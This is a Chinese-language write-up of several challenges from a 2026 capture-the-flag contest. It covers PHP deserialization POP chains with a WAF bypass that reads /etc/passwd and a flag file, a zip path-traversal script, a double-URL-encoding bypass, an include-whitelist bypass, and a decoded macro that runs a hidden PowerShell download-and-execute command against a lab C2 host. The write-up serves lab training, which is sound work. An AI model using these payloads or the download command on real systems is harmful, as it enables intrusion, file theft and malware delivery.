polar秋季赛2026部分题解
web
贪吃蛇

有点难玩,直接看源代码
重点代码片段
function submitScore(finalScoreValue) {
fetch('api.php', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({score: finalScoreValue})
})
.then(function(resp) { return resp.json(); })
.then(function(data) {
rewardPanel.style.display = 'block';
if (data.success) {
rewardPanel.innerHTML = '🏆 隐藏奖励解锁!
' + data.message;
} else {
rewardPanel.innerHTML = data.message;
}
})
.catch(function() {
rewardPanel.style.display = 'block';
rewardPanel.innerHTML = '成绩提交失败,请稍后再试';
});
}
我们向api.php发送POST请求{"score":"999999999999999"}即可拿到flag
php反序列
role === 'admin') {
echo '反序列化成功!
';
echo '' . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . '
';
}
}
}
$message = '';
$object = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$payload = $_POST['payload'] ?? '';
if ($payload === '') {
$message = 'payload 不能为空';
} else {
$object = unserialize($payload);
if ($object instanceof AuditTicket) {
$message = '对象恢复成功';
} else {
$message = '反序列化失败';
}
}
}
highlight_file(__FILE__);
?>
脚本
消消乐

游戏不算难可以直接玩出来
查看源代码

数据来源
下面会用到他
var hex = cfg.dataset.v.substr(2); // 丢掉 "07"
// hex = "31626d648f81d06d6ce180ba733b9b0f" (32 位 = 16 字节)
这里可以直接在控制台得到输出

逐字节 XOR 解密(密钥 = 0x37)
var key = 0x37; // 固定密钥(十进制 55)
var bytes = [];
for (var i = 0; i < hex.length; i += 2) {
bytes.push(parseInt(hex.substr(i, 2), 16) ^ key);
}
31^37=06 62^37=55 6d^37=5a 64^37=53
8f^37=b8 81^37=b6 d0^37=e7 6d^37=5a
6c^37=5b e1^37=d6 80^37=b7 ba^37=8d
73^37=44 3b^37=0c 9b^37=ac 0f^37=38
解密出的 16 个字节:06 55 5a 53 b8 b6 e7 5a 5b d6 b7 8d 44 0c ac 38
再套flag壳
var result = String.fromCharCode(102,108,97,103,123) + hash + String.fromCharCode(125);
fromCharCode 逐个转字符:
码
字符
102
f
108
l
97
a
103
g
123
{
125
}
即 "flag{" + hash + "}"。
guess
/memo查看备忘文件
备忘卡片
comet archive initialized
核心变量已进入渲染上下文,但默认模板不会展示。
/status

/theme

文件上传
尝试上传一个正常的符合要求的.zip,回显得到id
但是/status里提示的目录都是404...
我们大概能猜到/memo是/app/templates/memo.html
上传一个简单的memo.html测试
{{ 7*7 }}
可是/memo没反应
据说zip解压有一个古老的坑
解压过程中文件名可能会被直接拼接到路径中,造成路径穿越漏洞
但是windows的文件名不允许有/
借助pyhton脚本
import zipfile
with zipfile.ZipFile("theme.zip", "w") as z:
z.writestr("manifest.txt", "name=x\n")
z.writestr("../../../templates/memo.html", "{{flag}}")
上传后访问/memo拿到flag
打赏

打赏后拿到假flag
查看源代码
// 自定义你的flag
const flag = "flag{Fake_Pay_No_Money_2026_HTML}";
function showFlag() {
let emailVal = document.getElementById("mail").value;
//不校验真实邮箱、无支付流程
if (emailVal.length > 0) {
alert("模拟支付成功,无需真实转账!\n你的flag:" + flag);
} else {
alert("邮箱框随便输入任意字符即可模拟支付拿flag");
//QD2AHXMGSJMMG2NM
}
}
下面有一个加密的注释,尝试解密
这里真搓不出来,问了ds是先首位反转再base32解码

访问ctf123.php
Welcome";
function stop($msg) {
die(htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') . "
\n");
}
$role = $_COOKIE['role'] ?? 'guest';
if ($role !== 'auditor') {
stop('第一关:你还不是 auditor');
}
echo "第一关通过
\n";
$route = $_GET['route'] ?? '';
if (preg_match('/admin/i', $route)) {
stop('第二关:检测到敏感路由 admin');
}
$route = urldecode($route);
if ($route !== 'admin/panel') {
stop('第二关:没有进入管理路由');
}
echo "第二关通过
\n";
echo "恭喜通关!
\n";
echo htmlspecialchars($flag, ENT_QUOTES, 'UTF-8');
?>
第一关
Cookie: role=auditor
第二关把admin双重url编码
/ctf123.php?route=%2561%2564%256d%2569%256e%2Fpanel
拿到flag
安全笔记

登陆后多了一行字
Maintenance note
Debug output was limited before release. Remember to remove old diagnostics.
维护说明:发布前限制了调试输出。请记得删除旧的诊断信息
点击检查环境
{
"shiro_version": "1.7.1",
"jdk_version": "1.8.0_492",
"profile": "basic",
"trace": "env.basic",
"notice": "旧版环境导出器仍然支持维护动作",
"hint": "如果你使用的是旧版调试控制台,可以试试 action=help"
}
MiniSite

右上角三个功能分别访问
/?f=home.php

/?f=about.php

/?f=source.php
提示:index.php 的完整源码 —— 仔细看看 FileGuard 是怎么校验的。
Hint: 校验通过后,include 用的是哪个变量?它和校验时看到的一样吗?
Mini Site · 有些文件不在白名单里,也不在 web 根目录下
MiniSite
CTF Web · Medium
Can you find
the secret?
一个用 PHP include 搭建的迷你站点。看起来只有三个页面,但总有些文件不该出现在白名单里……
🔎
信息收集
页面的 HTML 注释、source.php 的高亮里,藏着进入下一关的线索。
🚪
绕过校验
校验和执行,用的是同一个值吗?
仔细看看 include 的参数。
guest@minisite:~$ curl "http://localhost/?f=home.php"
<h1>Home</h1> ... welcome to mini site.
guest@minisite:~$ curl "http://localhost/?f=../../etc/passwd"
you can't see it
guest@minisite:~$
这个/sssseeeeccccrrrrreeeetttt不知道干嘛的,访问不了,f传参也不行
继续往下看看吧
- 直接匹配 whitelist → 返回 true
- 带
# 截断后匹配 → 返回 true
- URL 解码后再匹配 → 返回 true
- 都没匹配到 → 返回 false
我们尝试使用#截断配合路径穿越
/?f=source.php%23/../about.php
成功穿越到about.php
去看看/sssseeeeccccrrrrreeeetttt
最终payload
/?f=source.php%23/../../../../sssseeeeccccrrrrreeeetttt
flag就在这里
cryweb

测试了ctfer 0 admin null 找不到规律也没找到解密方法
魔法导入器

查看源代码
/?source
path && file_exists($this->path)) {
return file_get_contents($this->path);
}
return "[文件未找到]";
}
}
class Welcome
{
public $user;
public function __destruct()
{
echo "再见," . $this->user . "!";
}
}
class Profile
{
public $name;
public $bio;
public function __wakeup()
{
if (strlen($this->name) > 30) {
$this->name = substr($this->name, 0, 30);
}
if (strlen($this->bio) > 200) {
$this->bio = substr($this->bio, 0, 200);
}
}
}
function validate_serialized($data)
{
$rules = [
'/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)',
'/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类',
];
foreach ($rules as $pattern => $msg) {
if (preg_match($pattern, $data)) {
return [false, $msg];
}
}
return [true, '验证通过'];
}
// Source code view
if (isset($_GET['source'])) {
highlight_file(__FILE__);
exit;
}
// Logic
$result = '';
$error = '';
$destruct_output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) {
$raw = trim($_POST['data']);
list($ok, $msg) = validate_serialized($raw);
if (!$ok) {
$error = $msg;
} else {
$obj = @unserialize($raw);
if ($obj === false && $raw !== 'b:0;') {
$error = '反序列化失败:格式无效';
} else {
$result = '导入成功!对象类型:' . get_class($obj);
// Force __destruct() NOW so output is visible on page
ob_start();
$obj = null;
$destruct_output = ob_get_clean();
}
}
}
$demo = new Profile();
$demo->name = 'Alice';
$demo->bio = 'CTF Player';
$export = serialize($demo);
?>
观察发现我们应该用FileViewer的__toString方法读取文件
但是这个方法只是return,没有输出
正好我们借助Welcome的魔术方法__destruct输出,还可以触发__toString
path && file_exists($this->path)) {
return file_get_contents($this->path);
}
return "[文件未找到]";
}
}
class Welcome
{
public $user;
public function __destruct()
{
echo "再见," . $this->user . "!";
}
}
$demo = new Welcome();
$demo->user = new FileViewer();
$demo->user->path = "/etc/passwd"; #这里可以改成你想要读取的文件路径
$export = serialize($demo);
echo $export;
?>
可以读取文件了,但是过滤比较严格
看到还有一个类没用上
class Profile
{
public $name;
public $bio;
public function __wakeup()
{
if (strlen($this->name) > 30) {
$this->name = substr($this->name, 0, 30);
}
if (strlen($this->bio) > 200) {
$this->bio = substr($this->bio, 0, 200);
}
}
}
可以帮助我们处理字符长度
但是题目逻辑是先进行过滤再反序列化
思考能不能直接绕过过滤,尝试在序列化字符串中加入"破坏正则判断,同时搭配路径穿越
好消息是
/etc/../1"/../flag
确实没有触发waf
坏消息是回显文件未找到,同样的方法读取/etc/passwd也是文件未找到
原理回头再研究
正确思路是
正则waf只匹配了小写x,放过了大写S
大写 S: 表示字符串中可用 \xx(两位十六进制)转义字节
把 flag 的 f(0x66)写成 \66,即 S:5:"/\66lag"
最终payload
O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{s:4:"path";S:5:"/\66lag";}}
好了,现在看看为什么路径穿越的方法不行
之前就在windows和linux上做过实验
其实是可以实现路径穿越的
唯一不同就是windows可以一个引号/1"/../穿越
但linux必须要闭合引号才会执行/1""/../
问下ai
你的 cd(逻辑)
服务器 file_get_contents(物理)
谁解析 ..
bash 在字符串层面折叠
内核逐组件查目录
X/.. 要求 X 存在吗
不要求(先折叠掉)
要求(查不到就 ENOENT)
" 去哪了
被 shell 吃掉,变 1
PHP 字符串里的真实字节,成文件名
原来这样吗
可惜linux默认没有文件名包含"的文件,不然还能操作一下
此路不通
预言三问

得x=78
设置cookie=78
回显
预言家,现在的交流方法不太安全,改成一个安全的方式吧。而且你是知道女祭司和预言家是一对的,别忘用英语写在数据里哦。
抓包看看
没东西啊,难道说?
POST传参
priestess=prophet
提示要管理员等于一
再get传参?admin=1
拿到flag....
misc
letter


全是200C和200B
脚本如下
data = open(r'E:\firefox\letter\letter.txt', encoding='utf-8').read().rstrip('\n')
bits = ''.join('0' if c == '\u200b' else '1' for c in data if c in '\u200b\u200c')
print(''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)))
deploy-2
还原 docm 宏里混淆的 PowerShell 命令,得到下载 payload 的完整 URL。
下载了.docm文件,我们改后缀为.zip

查看.bin文件
D0 CF 11 E0 A1 B1 1A E1 VBA_Project_Payload_v1_GreyLynxAttribute VB_Name = "Module1"
' GreyLynx payroll update bootstrap
' NOTE: string below is encoded: base64(XOR 0x23(payload))
Sub AutoOpen()
Dim enc As String
enc = "U0xURlFQS0ZPTwMOTUxTAw5UA0tKR0dGTQMOQAMBRkBLTAN4CX4DZFFGWm9aTVsDVlNHQldGA0FMTFdQV1FCUxgDSlRRA0tXV1MZDAxAR00NRFFGWk9KTVsOQExNUFZPV0pNRA1bWlkZGxMbEwxWU0dCV0YMUFVADUZbRgMObFZXZUpPRgMHRk1VGXdmbnN/UFVADUZbRhgDUFdCUVcDB0ZNVRl3Zm5zf1BVQA1GW0YB"
Dim ps As String
ps = DecodeXor(enc)
Shell ps, vbHide
End Sub
Function DecodeXor(s As String) As String
' decode chain: Base64 decode, then XOR each byte with 0x23
DecodeXor = s
End Function
简单加密

powershell -nop -w hidden -c "echo [*] GreyLynx update bootstrap; iwr http://cdn.greylinx-consulting.xyz:8080/update/svc.exe -OutFile $env:TEMP\svc.exe; start $env:TEMP\svc.exe"
flag是cdn.greylinx-consulting.xyz:8080/update/svc.exe不包括http:
deploy-3
C2 服务器的 IP:端口。

wireshark打开
过滤流量
http.request.method == POST and http.request.uri contains "gate.php"

发现destination是203.0.113.45
其实这就是外联的c2服务器的ip
继续往下翻还有域名和端口

不过做的时候我是右键-FOLLOW-http stream

只拿到了域名和端口
然后去找dns的解析记录
dns.qry.name contains "c2.greylinx-consulting.xyz"


星辰科技
扫目录扫到robots.txt就好做了
"原文地址: http://www.cveoy.top/t/topic/qHvh 著作权归作者所有。请勿转载和采集!